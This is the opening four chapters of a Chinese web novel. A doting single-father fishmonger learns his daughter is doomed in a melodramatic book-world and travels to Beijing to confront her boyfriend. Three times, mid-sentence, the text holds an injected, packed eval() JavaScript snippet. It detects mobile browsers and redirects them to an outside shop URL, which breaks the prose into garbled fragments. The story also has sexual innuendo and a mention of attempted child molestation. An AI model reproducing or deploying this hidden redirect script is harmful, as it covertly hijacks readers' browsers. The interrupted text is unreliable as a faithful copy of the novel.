《反派大佬的香香老婆带球跑18年后(穿书)》 1. 第 1 章 大广福综合海鲜市场。 每当晨光破除晨雾的笼罩,市场里便迎来了最为繁忙热闹的时光,空气中弥漫着海水特有的咸香,是饕餮食客们最喜欢来的地方。 早起购买新鲜蔬菜的中年人,成为市场的主力军,整齐划一的摊位,是他们逐一搜索的目标。 其中有个摊位前,早早的排着长队,倒不是说这个摊子上的货品有多么的特别,只不过是摊主的服务口碑很好,又在这里做了十几年的生意,来往买鱼的都喜欢往他这边来。 沈望穿着防水围裙,手持网兜和秤杆,热情招呼着每一位顾客。只见他熟练捞起鲤鱼,称重,杀鱼,清洗打包,每一个动作都显得那么熟练且充满技巧。 最主要的是,他这边买鱼的话,还搭配送葱姜蒜,喜欢吃香菜的顾客,完全可以按照需求,自己朝麻袋里任意抓一把。 这些佐料都是免费的,尤其是香菜。据说是沈望自己种的。 整个综合市场里到处都是买香菜的,也不怎么收钱,然而最稀奇的是,沈望免费给的香菜格外好吃,用来做任何鱼味或海鲜,就是比其他的味道鲜美。 除此之外,沈望本人也充满了一股特殊的神秘气息,每天出门工作都把自己穿得严严实实,根本不像其他鱼铺老板,总喜欢打着赤膊穿围裙,尤其刘海恰好遮挡住眼睛的部分,居然也不显得邋遢,因为露出来的鼻梁又直又挺,嘴巴红彤彤得仿佛涂抹的瑰丽的花汁,说不上的神秘帅气,用下半张脸风靡无数家庭少妇。 所以,沈望的“妙妙精品鱼店”的生意最是兴旺。 尤其有段时间,《狂飙》电视剧火遍大江南北之后,沈望更是成为许多摊贩心目中的明星卖鱼郎,很多人都暗自称呼他“大广福吴彦祖”。 早晨卖出去了将近一百多条鱼。 中午,沈望照例跟附近几个摊位的老板坐在一起吃盒饭。 卖卤猪蹄猪头猪系列的“龅牙朱”和调料铺的宋思聪跟沈望岁数相当,所以混得也最熟,两人以众星拱月的姿势围着人,大声谈笑着今天遇见的奇葩顾客。 龅牙朱忽然转低声音,朝沈望使了眼色,“望哥,你今天的生意是不是又直接碾压隔壁的鲨鱼王?” 市场规划将十几家卖鱼郎的摊位安置在C区,所以沈望附近卖鱼的并非只有他这一家,沈望刚开始辗转来到广市,人生地不熟的,没少被这些同行联手排挤。 十几年的辛苦坚守,使得沈望一点点跟自己过去的敌人融合为一体。 如今大家也不怎么嫉妒他了,毕竟沈望要一个人养女儿,是一件非常辛苦的事情,后来再见到沈望的女儿漂亮得像个精灵似的小仙女。 仙女的爸爸怎么会有人能讨厌呢? 除了所谓的鲨人王张智。 这个张智面冷心硬,逼近190的身材人高马大,站在狭窄的案板前蓦得凸出来很大一块轮廓,杀鱼时手起刀落,跟切瓜切菜一样冷漠。 他跟沈望是出了名的死对头,即使两人的摊子彼此临近,也从来不怎么说话。 沈望完全不嫌弃自己满手的鱼腥气味,往嘴里扒拉两口辣椒炒肉盖饭,淡道,“每天卖多少,我又没去专门数人家的鱼筐,应该差不多吧?” 沈望远远地看了一眼,同样坐在小椅子上吃盒饭的王智。 不知道对方是不是也刚好在看他,沈望刚一抬眼时,对方明显调转了视野,小麦色的脸膛红得异常,一瞧肯定是做贼心虚。 沈望也换了角度,悠闲地翘起二郎腿,“以后聊天聊点有意义的,别整天扯周围人的闲话。” 只吃了几口盒饭里的食物,像是忽然失去了一切欲望,沈望将盒饭摆在桌面,“我现在对挣钱的热情好像没前几年高了,最近连吃饭的兴趣也有所减少,既然有人想争营业额第一的话,就靠自个儿努力去吧。” 语毕,他还意味深长地探了鲨鱼王一眼。 龅牙朱连忙解释说,“望哥,你才不是准备退位让贤了,依我看,你是因为妙妙考上大学,心里落差太大,一时之间难以接受罢了。” 说起女儿沈妙妙。 沈望遮脸的刘海中,竟也透出一丝慈父般的柔情蜜意。 是啊,他的掌上明珠,他的小亲亲,小妙妙~他的宝贝女儿考上京城的大学了,是他一生的骄傲~ 沈望内心泛起阵阵甜蜜的涟漪。 龅牙朱补充说明,“妙妙已经走了大半年了吧?学业忙的连寒假都没时间回来陪你,望哥,其实你是寂寞了吧?” 沈望:秒变痛苦脸.JPG 提到沈妙妙放假没有回家,沈望一颗老父亲的心脏扑通扑通直跳,恨不能把京城大学的所有教授捆起来毒打,快点放他的可爱女儿回家! 沈望假装成熟的样子,“不要胡说,妙妙现在学习太忙,放假回不来是正常的,我又不是寂寞了,我真的没有特别想她,我就是更年期到了,我心情不好不想吃饭。” 瞧两个兄弟眯起眼瞧他。 沈望连口舌也结巴起来,“男人也有更年期综合症好吗?你俩再用这种眼神瞧我,我就......我就要生气了!” 龅牙朱性格耿直,一点也不觉得是火上浇油,连声说,“youseeseeyou,分明一脸失落的岳父像,活该你这辈子只能做个岳父,等妙妙将来找了婆家,逢年过节的全在婆家的时候,你不得爬高蹿低的?!” 宋思聪也笑了,“依照望哥对妙妙的宠爱程度,恐怕对未来女婿的挑剔程度,也是恐怖到令人发指的吧?” 两个好友兼死党完全不顾及沈望,你一句我一句的,完全没有看见某人逐渐紧握的双拳。 直到龅牙朱忽然想起来一件事,他这人总是一惊一乍的,想到一件是一件。 “望哥,我想起来了,”他低声说,“张智那小子虽然是你的死对头,可他绝对是看上妙妙了,因为有一次,我看见他瞧着妙妙的脸出神了一秒钟,八成啊,这小子嘴上不讲,心里早把你当作岳父看待了。” “一个劲儿的还跟你装死敌,其实还不是为了吸引你的注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344795|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将来好给你一举拿下!” “哈哈哈~” 沈望紧握的拳头倏然松开,人也开口笑道,“能配上我女儿的家伙还没生出来呢,你们这辈子大概也吃不到我老沈家的红席了。” 晚上11点,大广福市场的大门紧锁。 张智手里拿着车钥匙,疲倦满满地朝黑漆漆的停车场走去,今天的生意很好,不过比起沈望那个摊子还是差出了一大截。 脑海里刚联想到沈望的名字,便直接在眼前勾勒出沈望的全部身形,在虚构的世界里几乎能看清,对方浑身上下紧紧包裹的,唯一能露出的雪白脖颈,纤细得仿佛能用一只手掐住。 又香.艳又涩.情。 昏暗的环境下,忽然刮来一阵妖风,应该说是散发出鱼腥臭气的味道袭来才对,奇怪的是,冥冥中还夹杂着一股令人心醉神迷的香味。 好香,真的好香。 裹挟着人类最舒适的体温,如同春药,连汗液也沁人心脾。 不等张智回过神来,头上已经被狠狠扣住一个破烂鱼筐,随后有人故意绊了他一跤,往他撅起的屁股上使劲踹了几脚。 “啐,垃圾玩意儿,居然敢觊觎我女儿?!” 骂声极小,张智顶着个大鱼筐根本看不清下黑手的是谁。 最主要的是。 张智紧紧捂住自己的裤子,他被刚才那股若有似无的香味迷了心智,现在小智涨成巴掌大,疼得要命,完全爬不起来。 . 沈望高高兴兴地赶回自己在郊区的小破房,那里是他和女儿一起生活了十八年的幸福星球。 沈望回家的第一件事情就是赶紧冲澡。 他这人有个毛病,不能太激动,更不能出汗,反正是个令人烦恼的秘密。 沈望脱掉衣服站在淋浴器下,雪白的肉.体便完美地呈现出来,他的皮肤又细又白,浑身体毛稀薄,唯一浓郁的地方就是他的头发,又黑又顺。 还有一双含情脉脉的桃花眼,眼尾妩媚地挑起,连浓密的睫毛也斜飞着,拉长了眼线,更像是随时随地在勾引人的狐狸精。 沈望一般在外人面前穿得很严实,连眼睛也尽量遮住,就是觉得自己好歹是一个养家糊口男人了,绝对不能让任何人发现。 他其实长得过分好看。 小的时候因为这张脸,差点被人猥.亵。 沈望洗完澡后,顺便清洗了工作服,赤着一双滑溜溜的脚,将湿漉漉的衣服挂在门廊前的晾衣绳上。 他家的排水系统埋在庭院下方,而地表上面是一片碧绿的香菜田,田里的香菜涨势凶猛,现在是凌晨时分,依旧散发出奇异的香味。 再过四个小时,沈望就需要去港口进货,他家的香菜特别揽客,很多客人都交口称赞,讲用了他家种的香菜,海鲜的味道会变得更加鲜美多汁。 沈望闻了闻自己的手腕,又闻了闻香菜田里弥漫的香气,不禁奇怪道,“这些香菜成精了吗?怎么一根根的完全没个菜味儿,香的快跟我一个味儿了!” 2. 第 2 章 沈望每周五晚上都有一次跟女儿连线视频的机会,他原本是每晚都必须要跟女儿通电,知道女儿早午晚餐吃了什么,否则一整夜都睡不香的麻烦个性。 之后有一次,沈妙妙说自己的学业逐渐繁忙,晚上需要在图书馆里嗑书,不能天天陪爸爸聊天。 离家在外的孩子,总是不能深刻体会父母的牵挂。 女儿眨动着灵巧的双眸,朝他露出可爱的微笑。 沈望立刻妥协了。 没办法,他是女儿奴,他认了。 沈望像往常一样洗了澡,一般跟女儿视频的时候,他是不需要放下刘海的,而是随手将湿润的发丝捋在脑后,露出光洁的额头和煽情的眼睛。 沈妙妙的微信音乐是一首外国歌曲,沈望耐心听着熟悉的歌曲响了一声,对面居然很快地接听。 比平常都要迅速。 所以沈望在视频中间看见一张可爱的娃娃脸,但不是他可爱的女儿。 对面也看到沈望的脸。 两人面面相觑对视半秒。 娃娃脸女生骤然红起脸,跑开大喊着,“妙妙!!你是不是移情别恋啦!你的手机里有一个超级大帅哥!” 娃娃脸女生大约是遭受了美颜暴击,以至于精神异常亢奋,完全忘记视频正在联通,跑到刚洗完澡出来的沈妙妙面前,抓住对方柔荑不停释放眼底的精光。 “妙妙,你手机里的男人好帅啊!比你男朋友还帅,你是不是移情别恋啦!” 沈妙妙一只手扶住头顶的毛巾,露出来的美人瓜子脸写满困惑。 “你在胡说什么?我和萧诼好好的,你发了什么魔障了?” 娃娃脸女生道,“真的,我以为你在洗澡,对方打来的时候,我看见你给他起的昵称是‘万人迷’,所以我以为是萧诼,想跟他开个玩笑.......” “万人迷?”沈妙妙一把扯开毛巾,丢在学习桌间,表情瞬间不好道,“你闯祸了,那可是我爸!” 不管娃娃脸女生的错愕,三步并作两步走过去,冲视频中的男人柔柔地喊了一声。 “爸爸,你怎么这个点就打视频过来了?” 不知道自己找男朋友的事情有没有被家长听见,沈妙妙简直快把“心虚”二字贴在脸上。 此时沈望已经将刘海放下来,遮住半截面孔,语气平淡道,“还能因为什么?当然是想我的小公主了呗~” 父女俩的亲昵交谈还没开始。 沈妙妙的视频框内挤过来了三颗好奇的头颅,应该全部是同寝室的舍友,纷纷眨巴眼睛,企图看看能惊得人神魂颠倒的绝世美男子。 娃娃脸首当其冲,挥挥手,“沈叔叔您好,我是妙妙的好舍蜜夏璇。” “我是王意丹。” “我是李喻清。” 一屋子四位模样不同的小姑娘,时隔大半年,今天算是第一次在沈望面前露脸。 沈妙妙上大学的地方比较特殊,在京城,是沈望不能去的地方,所以沈妙妙是沈望托朋友送去上学的。 自然,这三位舍友也是第一次面见校花的父亲大人。 尤其是夏璇看得最真切,即使沈望后来采取补救措施,小姑娘对于美男子的记忆已经深深刻进脑海。 就像你永远也不会忘记柏原崇金城武吴彦祖裘德洛抖森玛卡沃伊的脸一样。 小姑娘们都很热情,沈望也不是个不善言谈的人,你一言我一语地聊了十多分钟,沈妙妙才终于插上话,打断道,“我爸明早四点就要去港口进海鲜,现在该让他休息了。” 听起来倒是很平常,其实是有点小嫉妒啦。 爸爸今天还没跟她说一句话呢。 不过,沈妙妙高悬的心也缓缓放下,看来爸爸根本没听见夏璇那个大喇叭的叫喊声。 沈望心里顿时甜如蜜,跟叽叽喳喳的小姑娘们道,“抱歉,等下次叔叔去京城,一定请你们去最好的饭馆吃饭。” 夏璇最为热情洋溢,“叔叔,你一定要早点来哦~” 关掉视频。 沈望脸上的笑容立刻消失得无影无踪。 男朋友?!!! 沈望揉搓着自己的发酸的嘴角,为了维持体面的假笑,他都快要憋疯了! 女儿肯定没有猜出来自己听见了什么?! 男朋友!!! 他家的小仙女被这个世界上最肮脏无耻低贱的东西给缠上了吗!!! 沈望不停在地面转圈,如同发现好白菜被猪给啃了的吝啬农夫。 会不会听错了? 会不会根本没有男朋友?! 啊!! 沈望一联系起前因后果,例如大学图书馆占座位需要有帮手,还例如每天一通的电话问候也是前几个月改成一周一次的。 还有!他已经大半年没见过女儿了!! 沈望现在完全可以肯定,女儿十之八九是有男朋友了。 不行!绝对不行! 沈望开始翻箱倒柜,找出从来没有使用过的落灰行李箱,丢进去几件常穿的衣裳,还有洗漱用品。 当他掏出隐藏起来的身份证和储蓄卡时。 沈望又气馁了。 不对呀。 他不能返回京城。 他这辈子最恨的人就在京城,否则,自己也不会背井离乡到了广城生活18年。 不行,我不能去京城,万一被那个人遇见了,恐怕要被...... 沈望有点退缩了。 不,是明显退缩! 这种强烈的恐惧感和深沉的父爱,一直从沈望的脑海打到胸腔,使得呼吸也变得急促不安,窒.息感不断加强。 最终,沈望决定拖着行李箱往门外走,他在内心跟自己打了个赌,假如是左脚先迈出门槛,就立刻回屋里睡觉,但若是右脚先迈出去,那他必须得去一趟京城。 反正他是做个体生意的,想给自己放假就放假,自由得很! 看着近在咫尺的门槛,沈望条件反射先迈左脚,然而快走到高出一截的门槛时。 居然还是左脚。 左脚!左脚。 他必须要乖乖远离京城,永远不再回到那个人的势力范围。 永远! 沈望完全没有任何平复迹象的脑袋又在苦苦挣扎,晃了一下神,迈出最后一步的瞬间,左脚不小心绊了右脚,踉踉跄跄地抬着右脚出了门。 这...... 难道老天爷也认为妙妙绝对找了男朋友? 沈望回首望了一眼门槛,内心不停做着安抚——反正京城那么大,我肯定是遇不见那个人的。 我就去偷偷看一眼。 沈望坐上了前往京城的特快列车。 路途遥远,他吃了睡睡了吃,反倒再看见进京的连绵山脉和山关时,没了最初的恐惧。 沈望做了一个梦。 梦中的妙妙完全不像是刚上大学的模样,有点成熟女性的独特韵味,尤其是腹部圆鼓鼓的,看起来快要生了似的。 ...... 快要生了!! 沈望在梦里咆哮,“tmd!究竟是谁敢弄大我女儿的肚子!我要阉割了他!!” 只见梦里的沈妙妙气色不佳,灰败着一张脸,根本没有一丝红润的颜色。 她现在躺在一张破草席间,连一张像模像样的床也没有,屋子里更是破败不堪,刺骨的寒潮从漏风的墙壁间钻进来,冻得可怜的女人瑟瑟发抖。 “不不不!”沈望绝望极了,身为疼爱女儿的父亲,他是怎么也无法容忍女儿有一丝丝的不幸。 沈妙妙似乎是想喝水,然而伸长的手完全够不到暖水瓶。 屋子里并不是只有沈妙妙一个人,还有几个男人站在不远处,冷漠无情地看着她的一举一动。 其中一个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344796|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叼着烟道,“沈妙妙,萧家破产了,你男人欠了那么多钱,他根本不要你,八成现在已经跑路了。” “我要是你的话,才不会过这种猪狗不如的日子,现在倒是有个路子让你选择。” “告诉我们,萧诼跑去哪里了?这样我们也好跟鹤先生交待,也可以送你去医院。” “你看你肚子这么大,总不好把孩子生产在草席上吧?” 畜生!!畜生!! 沈望冲着几个男人的方向拳打脚踢,发现中间隔着气墙似的,完全碰不到。 他只能眼睁睁看着女儿受苦受难。 沈妙妙这个时候,居然还不愿意出卖萧诼的消息。 沈望气得眦目欲裂,痛不欲生! 直到沈妙妙忽然捂住了滚圆的腹部,单薄的睡裙底下涌出猩红的血水。 她的眼神骤然紧.缩,突如其来的阵痛令人措手不及,也苦不堪言,张开嘴求道,“大哥,行行好,我真的不知道萧诼在哪里,求你们送我去医院,我可能要生产了!” 撕心裂肺的求救声令沈望肝肠寸断。 可是完全不能软化几个男人的善心。 谈话的男人蹲下身,与深陷痛苦的沈妙妙对视,言道,“可以呀,只要你说出萧诼的行踪,你肯定是知道的,沈小姐。” 还有。 “在你为萧诼舍生忘死的时候,萧少爷八成还在其他女人的温柔乡里躲祸,你该知道的,萧少爷的红粉知己可不只有你一个。” “鹤先生的意思是,只要他离鹤小姐远一点,不要妄图吃着碗里的,占着锅里的,自然不会混到这样惨。” “甚至连你和孩子也保不住。” 男人拿起沈妙妙沾在鬓角的一缕发丝,多么美丽的女人啊,可惜是个蠢货。 沈望眼睁睁看着沈妙妙的血越流越多,直接将裙角染成一片绯红。 沈妙妙说,“我真的不知道他在哪里,即使我知道,我也不会讲出来的。” “我爱萧诼,我愿意为萧诼......” 一阵剧痛袭来,沈妙妙疼得昏死过去。 “你们这些王八蛋快送她去医院啊!”沈望朝着空气墙不停挣扎。 完全没有一点作用。 他只能看着女儿慢慢咽下最后一口气。 一个大大的字幕提示浮在半空 【《赤手遮天之狠王归来》第一章完】 什么鬼?! 怎么他女儿在第一章就死了?! 这是什么魔鬼安排?! 沈望的身体越来越轻,仿佛飘到极远的地方,看到了后面的剧情。 怎么一个狗血了得? 差不多就是女儿痴心保护的那个叫萧诼的人,在女儿死了之后,才带着帮手冲过来救人,抱着沈妙妙的尸体哭得像一条野狗。 大概是被沈妙妙的死刺激到了,这个该死的王八蛋开始疯狂开挂,疯狂复仇,最后居然走上人生巅峰,还娶了八个如花似玉的老婆。 其中一个老婆,居然是那个叫鹤小姐的家伙! 沈望从来不爱看网络小说,连电视剧都不怎么喜欢,一心只忙着挣钱养女儿,给沈妙妙最好的生活。 但是现在....... 沈望慢悠悠地睁开眼睛,恍如一梦初醒,眼角还挂着眼泪。 坐在一旁的男学生正在试图唤醒他,可能以为沈望是刘海太长,遮挡住了呼吸,很善良地帮沈望拨开刘海。 无意间,露出那张令人魂牵梦绕的脸庞。 男学生的脸红得像被惊世美貌烫伤了,眼神也痴迷极了,轻声问道,“叔叔,您刚才还好吗?我推了您半天,您好像做噩梦了.......” 沈望的心情正是最差的低谷,尤其看见任何男学生,仿佛都是那个害女儿死在第一章的混球。 冷冰冰淡一句,“我很好看吗?” “滚!” 3. 第 3 章 京城说大,其实占地面积根本没有广城大,可若说小,又实在片面,毕竟这里作为全国的政政权力中心,自带悠久的历史文化底蕴,无论是经济层面或者文化层面,都是无可替代的。 沈望除了从新闻上看一眼京城十几年来翻天覆地的变化,除此之外,他这个土生土长的京城人,此刻反倒像是一个异客,完全没有一点思念家乡的留恋之情,有的仅是疏离的惆怅。 他现在连京大的校园都进不去! 淦~ 京大毕竟是全国数一数二的高等学府,对校园安全管理方面比较严格,没有学生带领的情况下,家属不得擅自进入园区。 沈望尚未大展拳脚,首战直接遭遇滑铁卢,无论他跟校门口的保安人员如何狡辩,对方的态度都十分严苛。 气得沈望怒道,“我要应征保安!” 拦住他的保安居然笑了,“行啊,有大专文凭吗?” 其实两人也是话赶话,互相在抬杠。 沈望大惊,“什么?一个区区大学的保安还要大专文凭?现在高中毕业已经不够格了吗?” 保安哼了一声,“那你有区区的大专毕业证吗?” 沈望瞬间气馁了,假如他当年没有逃跑,也不至于为找工作处处碰一鼻子灰。 两人的对峙正处于白热化,一辆哈雷重机呼啸而过,车上载着一位身姿矫健的骑手,完全没有停车减行的意思,呼啸着钻进了大学校园之内,留下一排呛人的车尾气。 沈望气得跳脚,“你居然放任这种社会败类进去,我规规矩矩纳税十八年,简直属于社会良民,凭什么不让我进去?!” 保安对于那辆摩托车的主人似乎见惯不怪,淡然道,“什么社会败类?人家可是正正经经的大学生,喏,”伸手指了一下管控校门的电子扫描器,“人家佩戴电子学生卡,是咱京大登记在册的大学生。” 沈望平等得讨厌一切奇装异服的家伙,尤其看着电子屏幕里那颗帝王金头颅,愈是晦气道,“假如是这么个鬼火少年来招引我女儿,我非给他狗腿子敲折不可。” 兵来将挡水来土掩。 活人还能让尿给憋死? 沈望思来想去,既不可打草惊蛇,还必须要浑水摸鱼,更需要草蛇灰线。 大概他这辈子能记起来的成语,都在此刻瞎胡乱用了。 沈望斥巨资买了一身衣服,找了个僻静的理发店,走进去对老板说,“麻烦给我理一个学生头,越显年轻越好。” 理发店的老板随便瞄一眼他浑身的装扮,完全属于中年人的款式,冷嘲热讽道,“那大叔你应该是走错地方了,咱们这个地方只理发,不整容啊。” 打脸虽然会迟到,但真香从不缺席。 半个小时后。 理发师痴迷地望着镜子中央的美人,虽然他门店小见识浅,不过电视上的明星是见过不少的。 沈望自己也很惊讶。 他大概有十几年没有好好地端详过自己这张白净的面孔。 正如每一个觊觎过他的男人说过。 ——都是你的错,假如你不是长得这样好看的话,我原本是一个规规矩矩的人,都怪你勾引我。 沈望摸了摸清爽的发型,从柔顺的发丝间延伸出来的精致脸庞,微微挑起的桃花眼和时刻自然微笑的嘴唇。 仿佛这些年吃的苦全部是假象,他从京城逃亡,包括从那个人身边没命地离开。 ......属于他的时间在18年前彻底停止了。 沈望有点嫌弃地侧开脸,他真的讨厌死了自己的这张脸。 年轻的理发师傅则变脸超快,笑眯眯地对沈望道,“之前眼拙了,我还以为你是个大叔呢?同学有微信吗?要不要加个好友?” 沈望用手拽了拽衣领,确认脖子很好地包裹在高领之下,语气淡淡,“我真是一个老大叔,跟你们小孩子之间有鸿沟,还是不需要了吧。” 沈望离开理发店,京城的天气闷热,他在高领衣的外面又套了一件新买的半袖,看起来不是那么奇怪的样子,实际上这样更加热了。 沈望煽动着右手,重新走到京大校门口,这一次保安居然奇迹般没有阻拦他,穿梭在校门里外的学生,纷纷用比阳光更加火辣辣的目光打量着他。 这令沈望不习惯的神经愈发紧绷,不自觉用手遮挡了一下额头,企图用这种方式来遮挡自己的面孔。 恰好有个男生很自然得过来跟他打招呼说,“这位同学,你没什么事情吧?” 沈望的身形原本便纤细,为了养女儿一直十分操劳辛苦,此刻在太阳底下又穿得密不透风,双颊泛起不自然的红晕。 若是平常,沈望一定会跟对方说滚远点。 不过他现在需要有人领路,只好利用一下眼前的小屁孩,压软嗓音说,“我好像迷路了。” 这也难怪,毕竟京大的占地面积大到校园内直通公交车的地步。 前来搭话的男生挺帅,起码属于系草类的存在,主动道,“原来是这样,我还以为你是中暑了。” 对吧,毕竟有哪个正常人会在大夏天穿两层衣服? “居然是迷路了。”帅气男生露出了灿烂的微笑,“我正好可以给你指路。” 沈望一旦失去了留海的遮掩,完全变得像暴露在阳光地里的菟丝子,心虚说,“怎么好意思耽误你的宝贵时间呢?” 心底说:小屁孩,莫挨叔叔那么近。 热情的男生一路上不停搭话,眼睛时不时地黏着沈望,沈望只能假装是颗清纯小白菜,完全看不懂对方流露出来的好感。 ——话说现在的男人,已经赤.裸.裸到可以明目张胆对男人放电的程度了吗? 沈望18岁以前一直以捡垃圾为营生手段,为了能留在学校读书,时常沿着十几条街的垃圾箱打转。 还要时常忍受亲戚家小孩的暴力和骚扰。 那个时候,唯一能支持他没有辍学的动力,就是希望有朝一日考进大学校园里,感受不一样的文化气息。 那个时候...... 那个人还亲口说过,他会带着自己去看不一样的世界,感受不一样的人生。 到头来。 那个人也不过是像其他人一样,只是贪图他的美貌,贪图他的身子。 只是想狠狠操.他罢了。 . “爵爷,您喝醉了,我来扶您到总统套房休息吧。” 一位美艳动人的女明星,毕恭毕敬地站在沙发旁,以不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344797|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人产生聒噪感的柔软嗓音,小声提醒着。 坐在意大利定制专座的男人身量高大伟岸,单手微扶着刀削般犀利的面颊,宛若幽暗海底传来的寒凉声音,略带危险道。 “其他人呢?” 今天原本属于商业应酬,鹤爵作为今天的特邀嘉宾,被合作商邀请到了私人岛屿上赴宴。 宴会搞得相当隆重,除了商圈里响当当的人物之外,还有不少当红的影后影帝前来助兴。 之前还热热闹闹的场面,一瞧鹤爵这位大爷有点醉了,坐在沙发间闭目养神。 所有人立刻不约而同地撤了出去,避免吵扰到这位大爷休息。 唯独留下早已经安排好的影后苏蓉蓉,由她来伺候鹤爵。 整个京城的人都知道的两件事。 鹤爵是整个商圈内不容反抗的金融贵胄,更是不近男女之色的“京门佛子”。 之所以留下苏蓉蓉,也是因为苏蓉蓉干净,还没伺候过任何资本,即使在大染缸似的娱乐圈,也一直白璧无瑕。 所有人都觉得,鹤爵是喜欢干净的。 连苏蓉蓉自己也觉得是这样,所以捧她的资本一直只给资源,而不随便沾染这个女人,也只是为了培养出一个更为干净高级的玩物,最终拿来孝敬给鹤爵。 鹤爵长得俊美无俦,又冷感禁欲,不要说一个区区影后了,但凡是京城社交圈里的俊男靓女,试问有哪一个不想爬上他的大床? 苏蓉蓉一边小心地应付着京城大佬,一边谨慎地打量着对方的一举一动。 说只是为了更好的资源,肯定是占大多数原因的,但从鹤爵这个男人的一切外在条件来讲。 没有人会不觊觎又帅又有钱,还有能震得华国经济抖一抖的男人。 她小心翼翼地衡量着男人的心理,却完全看不出男人对自己是一种什么样的态度。 满意,或者不满意。 苏蓉蓉谨慎地又抛出了试探,“爵爷,总统套房里有准备好的解酒汤,我扶您去喝一小盅吧?” 鹤爵从小接受的培养,就是360度无死角地管理自己的微表情,不使任何人能瞧出他的喜好与厌恶,成功与失败,欣喜或颓废。 有些人对于面瘫脸有种自然而然地嘲讽,但实际上面瘫脸却是最容易隐瞒真实想法的虚伪利器。 鹤爵眉眼不改一丝弧度,淡淡道,“去把我的秘书叫来。” 言下之意,非常明白。 暗示的拒绝令新晋影后感到前所未有的震惊,苏蓉蓉最引以为豪的身材与容貌。 还有她的干净。 在一秒不到的时间内,被否定得一无是处。 苏蓉蓉几乎是不服输地又说了一句,“爵爷,我.......” 鹤爵的酒量极深,他的假寐也不过是一种考量的手段。 起身道,“不必做自我介绍了,下一秒我就会忘了你叫什么。” 鹤爵在女人的震怒中,优雅地走出大门,保镖们顷刻拥来,将主人前后围住。 他的私人秘书这才匆匆赶来,是有人故意绊住了他的脚步。 鹤爵也没有必要听他的解释,冷不丁将人抛在身后道。 “去跟绊住你的人讲,准备破产吧。” 4. 第 4 章 沈望的第一个目标并非是来找沈妙妙的,他对那个男朋友的名字更加刻骨铭心。 萧诼。 这本书里的第一男主角。 假如不是沈望对女儿惨死的情节充满了强烈的悲愤,其实他倒真希望所处的环境只是普普通通的世界。 ...... 主要是在他身上发生了极多不合理的事情,所以沈望接受现实的速度也格外快一点。 这就是一本狗血叠加的破书!否则他也不可能这样!或者那样! 他一个堂堂正正的男子汉!绝对不可能被酿酿酱酱之后,居然怀......!! 沈望对陪着自己逛校园的男生露出些微笑,对方立刻心荡神驰,双目放光。 沈望尝试一问,“咱们京大是不是有个叫萧诼的男生?” 男生的心猿意马立刻化为乌有,有点垂头丧气说,“京大最夺目的萧少爷,试问有谁能不认识,谁能不知道呢......难道你也是来找他的?” 男生问话的时候,明显带着浓重的失落感,仿佛即将充满希望的泡沫被人轻易击碎,完美无缺的命中邂逅惨遭横刀夺爱。 沈望知道自己的脸蛋是有些魔性的,关键在于他已经不是当初的那个豆芽菜了,也能在同性赤.果.果的示好中恰如其分地利用对方。 沈望问,“为什么你叫萧诼萧少爷?” 故事剧情不应该是这样吧? 假如萧诼是有钱人家的少爷,那他家的宝贝女儿根本不会沦落到去住简陋的草棚吧? 那男生闻言,有点意外,也有点惊喜,原来面前的美人根本不认识萧诼嘛,哈哈。 “你真可爱,”男生居然面对着三十几岁的老大叔说可爱,“萧诼背后仰仗的可是大名鼎鼎的萧家,据说咱们京大的一半建筑,都是萧家投资建设的。” 沈望开始糊涂了,既然姓萧的如此有钱,为什么会在开始那一章混得那么惨? 不由呐呐,“看来这小子是仗着家里财大气粗,才把妙妙给骗了。” 妙妙? 男生惊讶问,“你说的是校花沈妙妙吗?”男生的表情像没洗干净的掉色盘,瞬间又糊成一团,比刚才更加颓败。 “沈妙妙和萧诼是京大公认的一对儿,我劝你还是尽早放弃吧。” 听口气,看来这小子原本还觊觎过我的宝贝女儿?! 沈望打听到了基本信息,就跟对方分开了。 男生本来还打算要加沈望的微信来着,沈望利用完他根本是拔掉无情,转头就走。 沈望早已经不是当年那个傻乎乎的捡垃圾小破孩了,二十几年的生活教会了他很多经验。 例如守株待兔。 沈望在京大附近的酒店暂时住下,每天出入校园打扮得像个青春洋溢的大学生,顺便偷摸地到沈妙妙的宿舍附近蹲点。 沈妙妙就读的是汉语言文学,小仙女从小学习好,沈望也希望女儿未来能在大公司里就业,避免风吹日晒。 这个专业的美女很多,来往女生宿舍楼的女生统一的窈窕淑女,不过还是能在一众美女里最先看见沈妙妙的靓丽身影。 沈妙妙长相集合沈望的优点——肤白貌美、星眸朱唇、蜂腰长腿。 蹲守一周。 沈望临近晚上九点钟,终于蹲守到前来接沈妙妙的所谓男朋友。 假如在沈望心目中,给所有未来女婿排名的话,最次也得书香门第家的知识分子。 